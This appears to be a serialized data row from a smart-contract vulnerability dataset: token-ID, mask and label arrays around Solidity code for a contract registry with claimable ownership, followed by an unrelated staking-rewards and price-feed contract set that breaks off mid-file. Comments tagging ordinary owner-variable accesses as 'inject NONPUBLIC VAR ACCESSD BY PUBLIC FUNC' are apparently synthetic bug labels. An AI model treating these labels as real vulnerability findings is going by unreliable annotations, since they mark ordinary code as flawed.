0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
8137,
9155,
12,
11890,
5034,
6808,
6275,
13,
3903,
3849,
1135,
261,
11890,
5034,
8897,
6275,
13,
288,
203,
3639,
327,
389,
6283,
774,
9155,
12,
9341,
6291,
6275,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/**
*Submitted for verification at Etherscan.io on 2020-07-23
*/
// File: contracts/spec_interfaces/IContractRegistry.sol
pragma solidity 0.5.16;
interface IContractRegistry {
event ContractAddressUpdated(string contractName, address addr);
/// @dev updates the contracts address and emits a corresponding event
function set(string calldata contractName, address addr) external /* onlyGovernor */;
/// @dev returns the current address of the
function get(string calldata contractName) external view returns (address);
}
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity ^0.5.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: contracts/WithClaimableMigrationOwnership.sol
pragma solidity 0.5.16;
/**
* @title Claimable
* @dev Extension for the Ownable contract, where the ownership needs to be claimed.
* This allows the new owner to accept the transfer.
*/
contract WithClaimableMigrationOwnership is Context{
address private _migrationOwner;
address pendingMigrationOwner;
event MigrationOwnershipTransferred(address indexed previousMigrationOwner, address indexed newMigrationOwner);
/**
* @dev Initializes the contract setting the deployer as the initial migrationMigrationOwner.
*/
constructor () internal {
address msgSender = _msgSender();
_migrationOwner = msgSender;
emit MigrationOwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current migrationOwner.
*/
function migrationOwner() public view returns (address) {
return _migrationOwner; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
/**
* @dev Throws if called by any account other than the migrationOwner.
*/
modifier onlyMigrationOwner() {
require(isMigrationOwner(), "WithClaimableMigrationOwnership: caller is not the migrationOwner");
_;
}
/**
* @dev Returns true if the caller is the current migrationOwner.
*/
function isMigrationOwner() public view returns (bool) {
return _msgSender() == _migrationOwner; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
/**
* @dev Leaves the contract without migrationOwner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current migrationOwner.
*
* NOTE: Renouncing migrationOwnership will leave the contract without an migrationOwner,
* thereby removing any functionality that is only available to the migrationOwner.
*/
function renounceMigrationOwnership() public onlyMigrationOwner {
emit MigrationOwnershipTransferred(_migrationOwner, address(0)); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
_migrationOwner = address(0); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
/**
* @dev Transfers migrationOwnership of the contract to a new account (`newOwner`).
*/
function _transferMigrationOwnership(address newMigrationOwner) internal {
require(newMigrationOwner != address(0), "MigrationOwner: new migrationOwner is the zero address");
emit MigrationOwnershipTransferred(_migrationOwner, newMigrationOwner);
_migrationOwner = newMigrationOwner;
}
/**
* @dev Modifier throws if called by any account other than the pendingOwner.
*/
modifier onlyPendingMigrationOwner() {
require(msg.sender == pendingMigrationOwner, "Caller is not the pending migrationOwner");
_;
}
/**
* @dev Allows the current migrationOwner to set the pendingOwner address.
* @param newMigrationOwner The address to transfer migrationOwnership to.
*/
function transferMigrationOwnership(address newMigrationOwner) public onlyMigrationOwner {
pendingMigrationOwner = newMigrationOwner; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
/**
* @dev Allows the pendingMigrationOwner address to finalize the transfer.
*/
function claimMigrationOwnership() external onlyPendingMigrationOwner {
_transferMigrationOwnership(pendingMigrationOwner); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
pendingMigrationOwner = address(0); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
}
// File: contracts/WithClaimableFunctionalOwnership.sol
pragma solidity 0.5.16;
/**
* @title Claimable
* @dev Extension for the Ownable contract, where the ownership needs to be claimed.
* This allows the new owner to accept the transfer.
*/
contract WithClaimableFunctionalOwnership is Context{
address private _functionalOwner;
address pendingFunctionalOwner;
event FunctionalOwnershipTransferred(address indexed previousFunctionalOwner, address indexed newFunctionalOwner);
/**
* @dev Initializes the contract setting the deployer as the initial functionalFunctionalOwner.
*/
constructor () internal {
address msgSender = _msgSender();
_functionalOwner = msgSender;
emit FunctionalOwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current functionalOwner.
*/
function functionalOwner() public view returns (address) {
return _functionalOwner; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
/**
* @dev Throws if called by any account other than the functionalOwner.
*/
modifier onlyFunctionalOwner() {
require(isFunctionalOwner(), "WithClaimableFunctionalOwnership: caller is not the functionalOwner");
_;
}
/**
* @dev Returns true if the caller is the current functionalOwner.
*/
function isFunctionalOwner() public view returns (bool) {
return _msgSender() == _functionalOwner; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
/**
* @dev Leaves the contract without functionalOwner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current functionalOwner.
*
* NOTE: Renouncing functionalOwnership will leave the contract without an functionalOwner,
* thereby removing any functionality that is only available to the functionalOwner.
*/
function renounceFunctionalOwnership() public onlyFunctionalOwner {
emit FunctionalOwnershipTransferred(_functionalOwner, address(0)); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
_functionalOwner = address(0); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
/**
* @dev Transfers functionalOwnership of the contract to a new account (`newOwner`).
*/
function _transferFunctionalOwnership(address newFunctionalOwner) internal {
require(newFunctionalOwner != address(0), "FunctionalOwner: new functionalOwner is the zero address");
emit FunctionalOwnershipTransferred(_functionalOwner, newFunctionalOwner);
_functionalOwner = newFunctionalOwner;
}
/**
* @dev Modifier throws if called by any account other than the pendingOwner.
*/
modifier onlyPendingFunctionalOwner() {
require(msg.sender == pendingFunctionalOwner, "Caller is not the pending functionalOwner");
_;
}
/**
* @dev Allows the current functionalOwner to set the pendingOwner address.
* @param newFunctionalOwner The address to transfer functionalOwnership to.
*/
function transferFunctionalOwnership(address newFunctionalOwner) public onlyFunctionalOwner {
pendingFunctionalOwner = newFunctionalOwner; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
/**
* @dev Allows the pendingFunctionalOwner address to finalize the transfer.
*/
function claimFunctionalOwnership() external onlyPendingFunctionalOwner {
_transferFunctionalOwnership(pendingFunctionalOwner); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
pendingFunctionalOwner = address(0); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
}
// File: ../contracts/ContractRegistry.sol
pragma solidity 0.5.16;
contract ContractRegistry is IContractRegistry, WithClaimableMigrationOwnership, WithClaimableFunctionalOwnership {
mapping (string => address) contracts;
function set(string calldata contractName, address addr) external onlyFunctionalOwner {
contracts[contractName] = addr; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
emit ContractAddressUpdated(contractName, addr);
}
function get(string calldata contractName) external view returns (address) {
address addr = contracts[contractName]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(addr != address(0), "the contract name is not registered");
return addr;
}
} | inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
| _migrationOwner = address(0); | 5,457,538 | [
1,
22170,
18708,
14939,
8350,
13255,
40,
6953,
17187,
478,
21163,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
389,
15746,
5541,
273,
1758,
12,
20,
1769,
202,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
pragma experimental ABIEncoderV2;
uint256 constant SECONDS_IN_THE_YEAR = 365 * 24 * 60 * 60; // 365 days * 24 hours * 60 minutes * 60 seconds
uint256 constant MAX_INT = type(uint256).max;
uint256 constant DECIMALS18 = 10**18;
uint256 constant PRECISION = 10**25;
uint256 constant PERCENTAGE_100 = 100 * PRECISION;
uint256 constant BLOCKS_PER_DAY = 6450;
uint256 constant BLOCKS_PER_YEAR = BLOCKS_PER_DAY * 365;
uint256 constant APY_TOKENS = DECIMALS18;
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/math/Math.sol";
import "@openzeppelin/contracts/utils/EnumerableSet.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "./libraries/DecimalsConverter.sol";
import "./interfaces/IContractsRegistry.sol";
import "./interfaces/IPolicyBookRegistry.sol";
import "./interfaces/IRewardsGenerator.sol";
import "./helpers/PriceFeed.sol";
import "./abstract/AbstractDependant.sol";
import "./Globals.sol";
contract RewardsGenerator is IRewardsGenerator, OwnableUpgradeable, AbstractDependant {
using SafeMath for uint256;
using Math for uint256;
using EnumerableSet for EnumerableSet.AddressSet;
IERC20 public bmiToken;
IPolicyBookRegistry public policyBookRegistry;
IPriceFeed public priceFeed;
address public bmiCoverStakingAddress;
address public bmiStakingAddress;
uint256 public stblDecimals;
uint256 public rewardPerBlock; // is zero by default
uint256 public totalPoolStaked; // includes 5 decimal places
uint256 public cumulativeSum; // includes 100 percentage
uint256 public toUpdateRatio; // includes 100 percentage
uint256 public startStakeBlock;
uint256 public lastUpdateBlock;
mapping(address => PolicyBookRewardInfo) internal _policyBooksRewards; // policybook -> policybook info
mapping(uint256 => StakeRewardInfo) internal _stakes; // nft index -> stake info
event TokensSent(address stakingAddress, uint256 amount);
event TokensRecovered(address to, uint256 amount);
event RewardPerBlockSet(uint256 rewardPerBlock);
modifier onlyBMICoverStaking() {
require(
_msgSender() == bmiCoverStakingAddress,
"RewardsGenerator: Caller is not a BMICoverStaking contract"
);
_;
}
modifier onlyPolicyBooks() {
require(
policyBookRegistry.isPolicyBook(_msgSender()),
"RewardsGenerator: The caller does not have access"
);
_;
}
function __RewardsGenerator_init() external initializer {
__Ownable_init();
}
function setDependencies(IContractsRegistry _contractsRegistry)
external
override
onlyInjectorOrZero
{
bmiToken = IERC20(_contractsRegistry.getBMIContract());
bmiStakingAddress = _contractsRegistry.getBMIStakingContract();
bmiCoverStakingAddress = _contractsRegistry.getBMICoverStakingContract();
policyBookRegistry = IPolicyBookRegistry(
_contractsRegistry.getPolicyBookRegistryContract()
);
priceFeed = IPriceFeed(_contractsRegistry.getPriceFeedContract());
stblDecimals = ERC20(_contractsRegistry.getUSDTContract()).decimals();
}
/// @notice withdraws all underlying BMIs to the owner
function recoverTokens() external onlyOwner {
uint256 balance = bmiToken.balanceOf(address(this));
bmiToken.transfer(_msgSender(), balance);
emit TokensRecovered(_msgSender(), balance);
}
function sendFundsToBMIStaking(uint256 amount) external onlyOwner {
bmiToken.transfer(bmiStakingAddress, amount);
emit TokensSent(bmiStakingAddress, amount);
}
function sendFundsToBMICoverStaking(uint256 amount) external onlyOwner {
bmiToken.transfer(bmiCoverStakingAddress, amount);
emit TokensSent(bmiCoverStakingAddress, amount);
}
function setRewardPerBlock(uint256 _rewardPerBlock) external onlyOwner {
rewardPerBlock = _rewardPerBlock;
_updateCumulativeSum(address(0));
emit RewardPerBlockSet(_rewardPerBlock);
}
/// @notice updates cumulative sum for a particular pool or for all of them if policyBookAddress is zero
function _updateCumulativeSum(address policyBookAddress) internal {
uint256 toAddSum = block.number.sub(lastUpdateBlock).mul(toUpdateRatio);
uint256 totalStaked = totalPoolStaked;
uint256 newCumulativeSum = cumulativeSum.add(toAddSum);
totalStaked > 0
? toUpdateRatio = rewardPerBlock.mul(PERCENTAGE_100 * 10**5).div(totalStaked)
: toUpdateRatio = 0;
if (policyBookAddress != address(0)) {
PolicyBookRewardInfo storage info = _policyBooksRewards[policyBookAddress];
info.cumulativeReward = info.cumulativeReward.add(
newCumulativeSum
.sub(info.cumulativeSum)
.mul(info.totalStaked)
.mul(info.rewardMultiplier)
.div(PERCENTAGE_100 * 10**5)
);
info.cumulativeSum = newCumulativeSum;
}
cumulativeSum = newCumulativeSum;
lastUpdateBlock = block.number;
}
/// @notice calculates new cumulative average for a specific pool
function _getNewPoolAverage(address policyBookAddress)
internal
view
returns (uint256 average, uint256 toUpdateAverage)
{
PolicyBookRewardInfo storage info = _policyBooksRewards[policyBookAddress];
uint256 startStakeBlockPB = info.startStakeBlock;
uint256 lastUpdateBlockPB = info.lastUpdateBlock;
uint256 totalStaked = info.totalStaked;
uint256 prevStakedBlocks = lastUpdateBlockPB.sub(startStakeBlockPB);
uint256 stakedBlocks = block.number.sub(lastUpdateBlockPB);
uint256 allBlocks = block.number.sub(startStakeBlockPB);
allBlocks > 0
? average = prevStakedBlocks
.mul(info.average)
.add(info.toUpdateAverage.mul(stakedBlocks))
.div(allBlocks)
: average = 0;
totalStaked > 0
? toUpdateAverage = PERCENTAGE_100.mul(10**18).div(totalStaked)
: toUpdateAverage = 0;
}
/// @notice updates an average for a specific pool
function _updatePoolAverage(address policyBookAddress) internal {
PolicyBookRewardInfo storage info = _policyBooksRewards[policyBookAddress];
(info.average, info.toUpdateAverage) = _getNewPoolAverage(policyBookAddress);
info.lastUpdateBlock = block.number;
}
/// @notice emulates a cumulative sum update for a specific pool and returns its accumulated reward
function _getPoolCumulativeReward(address policyBookAddress) internal view returns (uint256) {
PolicyBookRewardInfo storage info = _policyBooksRewards[policyBookAddress];
uint256 toAddSum = block.number.sub(lastUpdateBlock).mul(toUpdateRatio);
return
info.cumulativeReward.add(
cumulativeSum
.add(toAddSum)
.sub(info.cumulativeSum)
.mul(info.totalStaked)
.mul(info.rewardMultiplier)
.div(PERCENTAGE_100 * 10**5)
);
}
/// @notice returns an NFT reward share of the pool (starting from the first block of pool setup)
function _getNFTPoolShare(
address policyBookAddress,
uint256 nftIndex,
uint256 currentAverage
) internal view returns (uint256) {
uint256 startStakeBlockPB = _policyBooksRewards[policyBookAddress].startStakeBlock;
uint256 allBlocks = block.number.sub(startStakeBlockPB);
uint256 depositBlock = _stakes[nftIndex].stakeBlock.sub(startStakeBlockPB);
return
currentAverage
.mul(allBlocks)
.sub(_stakes[nftIndex].averageOnStake.mul(depositBlock))
.mul(_stakes[nftIndex].stakeAmount)
.div(allBlocks * 10**18);
}
/// @notice returns an actual reward of a particular NFT
function _getReward(
address policyBookAddress,
uint256 nftIndex,
uint256 currentAverage,
uint256 currentCumulativeReward
) internal view returns (uint256) {
return
_stakes[nftIndex].aggregatedReward.add(
_getNFTPoolShare(policyBookAddress, nftIndex, currentAverage)
.mul(currentCumulativeReward)
.div(PERCENTAGE_100)
);
}
/// @notice updates the share of the pool based on the new rewards multiplier (also changes the share of others)
function updatePolicyBookShare(uint256 newRewardMultiplier) external override onlyPolicyBooks {
PolicyBookRewardInfo storage info = _policyBooksRewards[_msgSender()];
uint256 totalStaked = info.totalStaked;
totalPoolStaked = totalPoolStaked.sub(totalStaked.mul(info.rewardMultiplier));
totalPoolStaked = totalPoolStaked.add(totalStaked.mul(newRewardMultiplier));
_updateCumulativeSum(_msgSender());
info.rewardMultiplier = newRewardMultiplier;
}
/// @notice aggregates specified NFTs into a single one, including the rewards
function aggregate(
address policyBookAddress,
uint256[] calldata nftIndexes,
uint256 nftIndexTo
) external override onlyBMICoverStaking {
require(_stakes[nftIndexTo].stakeBlock == 0, "RewardsGenerator: Aggregator is staked");
_updateCumulativeSum(policyBookAddress);
_updatePoolAverage(policyBookAddress);
uint256 currentAverage = _policyBooksRewards[policyBookAddress].average;
uint256 currentCumulativeReward = _policyBooksRewards[policyBookAddress].cumulativeReward;
uint256 aggregatedReward;
uint256 aggregatedStakeAmount;
for (uint256 i = 0; i < nftIndexes.length; i++) {
aggregatedReward = aggregatedReward.add(
_getReward(
policyBookAddress,
nftIndexes[i],
currentAverage,
currentCumulativeReward
)
);
aggregatedStakeAmount = aggregatedStakeAmount.add(_stakes[nftIndexes[i]].stakeAmount);
delete _stakes[nftIndexes[i]];
}
require(aggregatedStakeAmount > 0, "RewardsGenerator: Aggregated not staked");
_stakes[nftIndexTo] = StakeRewardInfo(
currentAverage,
aggregatedReward,
aggregatedStakeAmount,
block.number
);
}
/// @notice attaches underlying STBL tokens to an NFT and initiates rewards gain
function stake(
address policyBookAddress,
uint256 nftIndex,
uint256 amount
) external override onlyBMICoverStaking {
require(_stakes[nftIndex].stakeBlock == 0, "RewardsGenerator: Already staked");
PolicyBookRewardInfo storage info = _policyBooksRewards[policyBookAddress];
if (info.totalStaked == 0) {
info.lastUpdateBlock = info.startStakeBlock = block.number;
if (info.cumulativeReward > 0) {
info.cumulativeReward = 0;
}
}
totalPoolStaked = totalPoolStaked.add(amount.mul(info.rewardMultiplier));
_updateCumulativeSum(policyBookAddress);
info.totalStaked = info.totalStaked.add(amount);
_updatePoolAverage(policyBookAddress);
_stakes[nftIndex] = StakeRewardInfo(info.average, 0, amount, block.number);
}
/// @notice calculates APY of the specific pool
/// @dev returns APY% in STBL multiplied by 10**5
function getPolicyBookAPY(address policyBookAddress)
external
view
override
onlyBMICoverStaking
returns (uint256)
{
uint256 policyBookRewardMultiplier =
_policyBooksRewards[policyBookAddress].rewardMultiplier;
uint256 totalStakedPolicyBook =
_policyBooksRewards[policyBookAddress].totalStaked.add(APY_TOKENS);
uint256 rewardPerBlockPolicyBook =
policyBookRewardMultiplier
.mul(totalStakedPolicyBook)
.mul(rewardPerBlock)
.mul(10**5)
.div(totalPoolStaked.add(policyBookRewardMultiplier.mul(APY_TOKENS))); // 5 decimals of precision
if (rewardPerBlockPolicyBook == 0) {
return 0;
}
uint256 rewardPerBlockPolicyBookSTBL =
DecimalsConverter.convertTo18(
priceFeed.howManyUSDTsInBMI(rewardPerBlockPolicyBook),
stblDecimals
);
return
rewardPerBlockPolicyBookSTBL.mul(BLOCKS_PER_DAY * 365).mul(100).div(
totalStakedPolicyBook
);
}
/// @dev returns PolicyBook reward per block multiplied by 10**25
function getPolicyBookRewardPerBlock(address policyBookAddress)
external
view
override
returns (uint256)
{
uint256 totalStaked = totalPoolStaked;
return
totalStaked > 0
? _policyBooksRewards[policyBookAddress]
.rewardMultiplier
.mul(_policyBooksRewards[policyBookAddress].totalStaked)
.mul(rewardPerBlock)
.mul(PRECISION)
.div(totalStaked)
: 0;
}
/// @notice returns how much STBL are using in rewards generation in the specific pool
function getStakedPolicyBookSTBL(address policyBookAddress)
external
view
override
returns (uint256)
{
return _policyBooksRewards[policyBookAddress].totalStaked;
}
/// @notice returns how much STBL are used by an NFT
function getStakedNFTSTBL(uint256 nftIndex) external view override returns (uint256) {
return _stakes[nftIndex].stakeAmount;
}
/// @notice returns current reward of an NFT
function getReward(address policyBookAddress, uint256 nftIndex)
external
view
override
onlyBMICoverStaking
returns (uint256)
{
uint256 cumulativeRewardPB = _getPoolCumulativeReward(policyBookAddress);
(uint256 currentAverage, ) = _getNewPoolAverage(policyBookAddress);
return _getReward(policyBookAddress, nftIndex, currentAverage, cumulativeRewardPB);
}
/// @notice withdraws funds/rewards of this NFT
/// if funds are withdrawn, updates shares of the pools
function _withdraw(
address policyBookAddress,
uint256 nftIndex,
bool onlyReward
) internal returns (uint256) {
require(_stakes[nftIndex].stakeBlock > 0, "RewardsGenerator: Not staked");
PolicyBookRewardInfo storage info = _policyBooksRewards[policyBookAddress];
if (!onlyReward) {
uint256 amount = _stakes[nftIndex].stakeAmount;
totalPoolStaked = totalPoolStaked.sub(amount.mul(info.rewardMultiplier));
_updateCumulativeSum(policyBookAddress);
info.totalStaked = info.totalStaked.sub(amount);
} else {
_updateCumulativeSum(policyBookAddress);
}
_updatePoolAverage(policyBookAddress);
return _getReward(policyBookAddress, nftIndex, info.average, info.cumulativeReward);
}
/// @notice withdraws funds (rewards + STBL tokens) of this NFT
function withdrawFunds(address policyBookAddress, uint256 nftIndex)
external
override
onlyBMICoverStaking
returns (uint256)
{
uint256 reward = _withdraw(policyBookAddress, nftIndex, false);
delete _stakes[nftIndex];
return reward;
}
/// @notice withdraws rewards of this NFT
function withdrawReward(address policyBookAddress, uint256 nftIndex)
external
override
onlyBMICoverStaking
returns (uint256)
{
uint256 reward = _withdraw(policyBookAddress, nftIndex, true);
_stakes[nftIndex].averageOnStake = _policyBooksRewards[policyBookAddress].average;
_stakes[nftIndex].aggregatedReward = 0;
_stakes[nftIndex].stakeBlock = block.number;
return reward;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
import "../interfaces/IContractsRegistry.sol";
abstract contract AbstractDependant {
/// @dev keccak256(AbstractDependant.setInjector(address)) - 1
bytes32 private constant _INJECTOR_SLOT =
0xd6b8f2e074594ceb05d47c27386969754b6ad0c15e5eb8f691399cd0be980e76;
modifier onlyInjectorOrZero() {
address _injector = injector();
require(_injector == address(0) || _injector == msg.sender, "Dependant: Not an injector");
_;
}
function setInjector(address _injector) external onlyInjectorOrZero {
bytes32 slot = _INJECTOR_SLOT;
assembly {
sstore(slot, _injector)
}
}
/// @dev has to apply onlyInjectorOrZero() modifier
function setDependencies(IContractsRegistry) external virtual;
function injector() public view returns (address _injector) {
bytes32 slot = _INJECTOR_SLOT;
assembly {
_injector := sload(slot)
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
pragma experimental ABIEncoderV2;
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
import "../interfaces/helpers/IPriceFeed.sol";
import "../abstract/AbstractDependant.sol";
contract PriceFeed is IPriceFeed, AbstractDependant {
IUniswapV2Router02 public uniswapRouter;
address public wethToken;
address public bmiToken;
address public usdtToken;
function setDependencies(IContractsRegistry _contractsRegistry)
external
override
onlyInjectorOrZero
{
uniswapRouter = IUniswapV2Router02(_contractsRegistry.getUniswapRouterContract());
wethToken = _contractsRegistry.getWETHContract();
bmiToken = _contractsRegistry.getBMIContract();
usdtToken = _contractsRegistry.getUSDTContract();
}
function howManyBMIsInUSDT(uint256 usdtAmount) external view override returns (uint256) {
if (usdtAmount == 0) {
return 0;
}
address[] memory pairs = new address[](3);
pairs[0] = usdtToken;
pairs[1] = wethToken;
pairs[2] = bmiToken;
uint256[] memory amounts = uniswapRouter.getAmountsOut(usdtAmount, pairs);
return amounts[amounts.length - 1];
}
function howManyUSDTsInBMI(uint256 bmiAmount) external view override returns (uint256) {
if (bmiAmount == 0) {
return 0;
}
address[] memory pairs = new address[](3);
pairs[0] = bmiToken;
pairs[1] = wethToken;
pairs[2] = usdtToken;
uint256[] memory amounts = uniswapRouter.getAmountsOut(bmiAmount, pairs);
return amounts[amounts.length - 1];
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
pragma experimental ABIEncoderV2;
interface IContractsRegistry {
function getUniswapRouterContract() external view returns (address);
function getUniswapBMIToETHPairContract() external view returns (address);
function getWETHContract() external view returns (address);
function getUSDTContract() external view returns (address);
function getBMIContract() external view returns (address);
